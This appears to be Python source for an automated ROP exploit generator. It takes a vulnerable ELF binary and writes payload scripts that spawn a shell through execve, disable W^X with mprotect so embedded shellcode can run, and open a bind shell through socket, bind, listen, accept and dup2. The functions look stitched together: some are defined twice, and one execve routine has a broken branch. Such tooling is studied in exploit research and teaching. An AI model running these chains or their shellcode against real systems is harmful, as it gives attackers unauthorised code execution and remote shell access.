def case2(GadgetList, data_section_addr): # Open the file where the payload is written in the form of a python script fd = open("mprotectROPChain.py", "w") chain.writeHeader(fd) # Step-2: Writing traditional shellcode into .data section shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' # Write shellcode into .data section chain.WriteStuffIntoMemory(shellcode, data_section_addr, fd) # System call number of mprotect = 10 # Step-1: rax <- 10 chain.LoadConstIntoReg(GadgetList, "rax", 10, fd) # Step-3: rdi <- "Address of /bin//sh" - .data section's address # 0x6c9000 is where Writable section starts. chain.LoadConstIntoReg(GadgetList, "rdi", 0x6c9000, fd) # Step-4: rsi <- 100 # Make the first 4096 * 3 bytes of Writable section executable. # .data section comes at an address 0x6ca980 chain.LoadConstIntoReg(GadgetList, "rsi", 4096 * 3, fd) # Step-5: rdx <- 7 # 7 - PROT_READ | PROT_WRITE | PROT_EXEC # The permissions to execute! chain.LoadConstIntoReg(GadgetList, "rdx", 7, fd) # At this point, .data section is executable # Get "syscall; ret" syscallList = categorize.checkIfSyscallPresent(GadgetList) syscallGadget = syscallList[0] syscallDict = syscallGadget[0] syscallAddress = syscallDict['address'] fd.write("payload += struct.pack('<Q', ") fd.write(hex(int(syscallAddress))) fd.write(")") fd.write("\t\t# Address of syscall") fd.write("\n\t") # The "ret" of "syscall; ret" should jump to .data section # That is why, put .data section's address onto stack@ fd.write("payload += struct.pack('<Q', ") fd.write(hex(data_section_addr)) fd.write(")") fd.write("\t\t# Address of .data section where shellcode is present") fd.write("\n\t") chain.writeFooter(fd) print("-->Written the complete payload in mprotectROPChain.py") print("-->Chaining successful!")
def execveROPChain(GadgetList, vulnExecutable): print("\n\n-->Chaining to get a shell using execve system call") fd = open(vulnExecutable, "rb") elffile = ELFFile(fd) data_section = ".data" section = elffile.get_section_by_name(data_section) # We need .data section's details because we have to write "/bin//sh" into it. data_section_addr = section["sh_addr"] data_section_size = section["sh_size"] syscallList1 = categorize.checkIfSyscallPresent(GadgetList) intList = categorize.checkIfIntPresent(GadgetList) syscallList2 = get_gadgets.getSyscallList() if len(intList) == 0 and len(syscallList1) == 0 and len(syscallList2) == 0: print("No int 0x80, no syscall, no ROP") print("Exiting tool :(") sys.exit() # There are 2 choices here: # Choice - 1 # if syscall is found, # rax <- 59 # rdi <- Address of "/bin/sh" # rsi <- 0 # rdx <- 0 # syscall if len(syscallList1) > 0 or len(syscallList2) > 0: case2(GadgetList, data_section_addr) sys.exit() # Choice - 2 # if int 0x80 is found, # rax <- 11 # rbx <- Address of "/bin/sh" # rcx <- 0 # rdx <- 0 # int 0x80 elif len(intList) > 0: case1(GadgetList, data_section_addr) sys.exit() # Choice-1 is always the priority. # Reason: We have observed that number of gadgets related to rdi, rsi are way more than gadgets related to rbx, rcx. print("--> No syscall / int 0x80 found => ROP Chaining failed") sys.exit()
def execveROPChain(GadgetList, vulnExecutable): fd = open(vulnExecutable, "rb") elffile = ELFFile(fd) data_section = ".data" section = elffile.get_section_by_name(data_section) # We need .data section's details because we have to write "/bin//sh" into it. data_section_addr = section["sh_addr"] data_section_size = section["sh_size"] syscallList = categorize.checkIfSyscallPresent(GadgetList) intList = categorize.checkIfIntPresent(GadgetList) if len(intList) == 0 and len(syscallList) == 0: print("No int 0x80, no syscall, no ROP") print("Exiting tool :(") sys.exit() # This is what we have to do: # if int 0x80 is found, # rax <- 11 # rbx <- Address of "/bin/sh" # rcx <- 0 # rdx <- 0 # int 0x80 # if syscall is found, # rax <- 59 # rdi <- Address of "/bin/sh" # rsi <- 0 # rdx <- 0 # syscall # Always choose int 0x80 over syscall if int 0x80 is present because registers used are common ones and eax should be set to 11. # Will always go for int 0x80(if present) because rax should be incremented only 11 times for execve() elif len(intList) > 0: payload = case1(GadgetList) return payload if len(syscallList) > 0: payload = case1(GadgetList) return payload print( "If this is getting printed, it means there are no special instructions found. So, you know what this means!" )
def mprotectROPChain(GadgetList, vulnExecutable): print("\n\n-->Chaining gadgets to execute mprotect system call") print("-->Is called to make .data section executable") print("-->Defeating W^X") fd = open(vulnExecutable, "rb") elffile = ELFFile(fd) data_section = ".data" section = elffile.get_section_by_name(data_section) # We need .data section's details because we have to write "/bin//sh" into it. data_section_addr = section["sh_addr"] data_section_size = section["sh_size"] syscallList = categorize.checkIfSyscallPresent(GadgetList) intList = categorize.checkIfIntPresent(GadgetList) if len(intList) == 0 and len(syscallList) == 0: print("No int 0x80, no syscall, no ROP") print("Exiting tool :(") sys.exit() # There are 2 choices here: # Choice - 1 # if syscall is found, # rax <- 59 # rdi <- Address of "/bin/sh" # rsi <- 0 # rdx <- 0 # syscall if len(syscallList) > 0: case2(GadgetList, data_section_addr) sys.exit() # Choice - 2 # if int 0x80 is found, # rax <- 11 # rbx <- Address of "/bin/sh" # rcx <- 0 # rdx <- 0 # int 0x80 elif len(intList) > 0: case1(GadgetList, data_section_addr) sys.exit() print("--> No syscall / int 0x80 found => ROP Chaining failed") sys.exit()
def case2(GadgetList, data_section_addr) : # Open the file where the payload is written in the form of a python script fd = open("execveROPChain.py", "w") chain.writeHeader(fd) # Step-2: Writing "/bin//sh" into .data section binsh = 0x68732f2f6e69622f binsh = struct.pack('<Q', binsh) chain.WriteStuffIntoMemory(binsh, data_section_addr, fd) # Step-1: rax <- 59 chain.LoadConstIntoReg(GadgetList, "rax", 59, fd) # Step-3: rdi <- "Address of /bin//sh" - .data section's address chain.LoadConstIntoReg(GadgetList, "rdi", data_section_addr, fd) # Step-4: rsi <- 0 chain.LoadConstIntoReg(GadgetList, "rsi", 0, fd) # Step-5: rdx <- 0 chain.LoadConstIntoReg(GadgetList, "rdx", 0, fd) # Get syscall syscallList = categorize.checkIfSyscallPresent(GadgetList) if len(syscallList) == 0: syscallList = get_gadgets.getSyscallList() syscallAddress = syscallList[0][0] else : syscallGadget = syscallList[0] syscallDict = syscallGadget[0] syscallAddress = syscallDict['address'] fd.write("payload += struct.pack('<Q', ") fd.write(hex(int(syscallAddress))) fd.write(")") fd.write("\t\t# Address of syscall") fd.write("\n\t") chain.writeFooter(fd) print("-->Written the complete payload in execveROPChain.py") print("-->Chaining successful!")
def bindshellROPChain(GadgetList, vulnExecutable): print("\n\n-->Chaining to get a shell using execve system call") fd = open(vulnExecutable, "rb") elffile = ELFFile(fd) data_section = ".data" section = elffile.get_section_by_name(data_section) # We need .data section's details because we have to write "/bin//sh" into it. data_section_addr = section["sh_addr"] data_section_size = section["sh_size"] syscallList = categorize.checkIfSyscallPresent(GadgetList) intList = categorize.checkIfIntPresent(GadgetList) if len(intList) == 0 and len(syscallList) == 0: print("No int 0x80, no syscall, no ROP") print("Exiting tool :(") sys.exit() if len(syscallList) > 0: exploit(GadgetList, data_section_addr) sys.exit()
def exploit(GadgetList, data_section_addr): # Open the file where payload will be written in the form of a python script fd = open("bindshellROPChain.py", "w") chain.writeHeader(fd) # ip_addr = str(input("Enter IP Address: ")) port = int(input("Enter port Number: ")) # sin_family = AF_INET # Refering to /usr/include/bits/socket.h for value of AF_INET # AF_INET = 2 sockaddr = b'' sockaddr += b'\x02\x00' # AF_INET = 2 sockaddr += struct.pack('<H', socket.htons(port)) # htons(port) sockaddr += socket.inet_pton(socket.AF_INET, "0.0.0.0") # inet_pton(AF_INET, ip_addr) sockaddr += struct.pack('<Q', 0) # sin_zero - 8 zeros # sockaddr structure ready # Writing sockaddr structure onto .data section chain.WriteStuffIntoMemory(sockaddr, data_section_addr, fd) # Execute socket() system call # Note: rax will have the file descriptor of the new socket # socket's system call number = 41 chain.LoadConstIntoReg(GadgetList, "rax", 41, fd) # rdi <- AF_INET # rdi <- 2 # Refer to /usr/include/bits/socket.h for value chain.LoadConstIntoReg(GadgetList, "rdi", 2, fd) # rsi <- SOCK_STREAM # rsi <- 1 # Refer to /usr/include/bits/socket_type.h for valule chain.LoadConstIntoReg(GadgetList, "rsi", 1, fd) # rdx <- 0 chain.LoadConstIntoReg(GadgetList, "rdx", 0, fd) # Call "syscall; ret" syscallList = categorize.checkIfSyscallPresent(GadgetList) syscallGadget = syscallList[0] syscallDict = syscallGadget[0] syscallAddress = syscallDict['address'] fd.write("payload += struct.pack('<Q', ") fd.write(hex(int(syscallAddress))) fd.write(")") fd.write("\t\t# Address of syscall") fd.write("\n\t") # If socket() is successful, rax will have file descriptor # Should somehow load it into rdi # rdi <- rax # How? # Should search for a "xchg rax, rdi" or "xchg rdi, rax" or "xchg edi, eax" or "xchg eax, edi" xchgList = categorize.queryGadgets(GadgetList, general.XCHANGE, "rdi") xchgList += categorize.queryGadgets(GadgetList, general.XCHANGE, "edi") xchgAD = dict() if len(xchgList) > 0: for List in xchgList: gadget = List[0] if (("rax" in gadget['operands'] and "rdi" in gadget['operands']) or ("eax" in gadget['operands'] and "edi" in gadget['operands'])): xchgAD = gadget break if len(xchgAD) == 0: print( "No xchg gadgets found to load value of rax into rdi. so, Exploit fail!" ) sys.exit() # Execute xchg between rdi and rax => rdi has socket's file descriptor now. fd.write("payload += struct.pack('<Q', ") fd.write(hex(int(xchgAD['address']))) fd.write(")") fd.write("\t\t# Address of xchg Reg1, Reg2; ret") fd.write("\n\t") # Step-6: Execute bind() system call # bind(rdi, data_section_addr, 16) # rax <- 49 # bind's system call number = 49 chain.LoadConstIntoReg(GadgetList, "rax", 49, fd) # rdi <- file descriptor - already there # rsi <- data_section_addr chain.LoadConstIntoReg(GadgetList, "rsi", data_section_addr, fd) # rdx <- 16 chain.LoadConstIntoReg(GadgetList, "rdx", 16, fd) # Call "syscall; ret" syscallList = categorize.checkIfSyscallPresent(GadgetList) syscallGadget = syscallList[0] syscallDict = syscallGadget[0] syscallAddress = syscallDict['address'] fd.write("payload += struct.pack('<Q', ") fd.write(hex(int(syscallAddress))) fd.write(")") fd.write("\t\t# Address of syscall") fd.write("\n\t") # Assuming bind() is successful, we will continue # Step-7: listen(rdi, 0) # Load listen's system call number chain.LoadConstIntoReg(GadgetList, "rax", 50, fd) # rdi <- file descriptor - already there # rsi <- 0 chain.LoadConstIntoReg(GadgetList, "rsi", 0, fd) # Call "syscall; ret" syscallList = categorize.checkIfSyscallPresent(GadgetList) syscallGadget = syscallList[0] syscallDict = syscallGadget[0] syscallAddress = syscallDict['address'] fd.write("payload += struct.pack('<Q', ") fd.write(hex(int(syscallAddress))) fd.write(")") fd.write("\t\t# Address of syscall") fd.write("\n\t") # Listen done. # Step-8: accept(rdi, 0, 0) system call # Load accept()'s system call number chain.LoadConstIntoReg(GadgetList, "rax", 43, fd) # rdi is set. chain.LoadConstIntoReg(GadgetList, "rsi", 0, fd) chain.LoadConstIntoReg(GadgetList, "rdx", 0, fd) # Call "syscall; ret" syscallList = categorize.checkIfSyscallPresent(GadgetList) syscallGadget = syscallList[0] syscallDict = syscallGadget[0] syscallAddress = syscallDict['address'] fd.write("payload += struct.pack('<Q', ") fd.write(hex(int(syscallAddress))) fd.write(")") fd.write("\t\t# Address of syscall") fd.write("\n\t") # Now, accept() is waiting for connections. # Suppose I get connected, a new socket is created with file descriptor in rax. That should be loaded into rdi again. fd.write("payload += struct.pack('<Q', ") fd.write(hex(int(xchgAD['address']))) fd.write(")") fd.write("\t\t# Address of xchg Reg1, Reg2; ret") fd.write("\n\t") # Redirect stdin, stdout, stderr to that new socket using dup2() system call # dup2(rdi, 0) chain.LoadConstIntoReg(GadgetList, "rax", 33, fd) # stdin chain.LoadConstIntoReg(GadgetList, "rsi", 0, fd) # Call "syscall; ret" syscallList = categorize.checkIfSyscallPresent(GadgetList) syscallGadget = syscallList[0] syscallDict = syscallGadget[0] syscallAddress = syscallDict['address'] fd.write("payload += struct.pack('<Q', ") fd.write(hex(int(syscallAddress))) fd.write(")") fd.write("\t\t# Address of syscall") fd.write("\n\t") # stdout chain.LoadConstIntoReg(GadgetList, "rax", 33, fd) chain.LoadConstIntoReg(GadgetList, "rsi", 1, fd) # Call "syscall; ret" syscallList = categorize.checkIfSyscallPresent(GadgetList) syscallGadget = syscallList[0] syscallDict = syscallGadget[0] syscallAddress = syscallDict['address'] fd.write("payload += struct.pack('<Q', ") fd.write(hex(int(syscallAddress))) fd.write(")") fd.write("\t\t# Address of syscall") fd.write("\n\t") # stderr chain.LoadConstIntoReg(GadgetList, "rax", 33, fd) chain.LoadConstIntoReg(GadgetList, "rsi", 2, fd) # Call "syscall; ret" syscallList = categorize.checkIfSyscallPresent(GadgetList) syscallGadget = syscallList[0] syscallDict = syscallGadget[0] syscallAddress = syscallDict['address'] fd.write("payload += struct.pack('<Q', ") fd.write(hex(int(syscallAddress))) fd.write(")") fd.write("\t\t# Address of syscall") fd.write("\n\t") # Now, all redirection is done. # Let us spawn a shell - refer execveChain.py binsh = 0x68732f2f6e69622f # binsh = 0x6873000000000000 binsh = struct.pack('<Q', binsh) binsh = b'/bin/bash' # print(binsh) chain.WriteStuffIntoMemory(binsh, data_section_addr + 20, fd) # Step-1: rax <- 59 chain.LoadConstIntoReg(GadgetList, "rax", 59, fd) # Step-3: rdi <- "Address of /bin//sh" - .data section's address chain.LoadConstIntoReg(GadgetList, "rdi", data_section_addr + 20, fd) # Step-4: rsi <- 0 chain.LoadConstIntoReg(GadgetList, "rsi", 0, fd) # Step-5: rdx <- 0 chain.LoadConstIntoReg(GadgetList, "rdx", 0, fd) # Get syscall syscallList = categorize.checkIfSyscallPresent(GadgetList) syscallGadget = syscallList[0] syscallDict = syscallGadget[0] syscallAddress = syscallDict['address'] fd.write("payload += struct.pack('<Q', ") fd.write(hex(int(syscallAddress))) fd.write(")") fd.write("\t\t# Address of syscall") fd.write("\n\t") chain.writeFooter(fd) print("-->Written the complete payload in bindshellROPChain.py") print("-->Chaining successful!")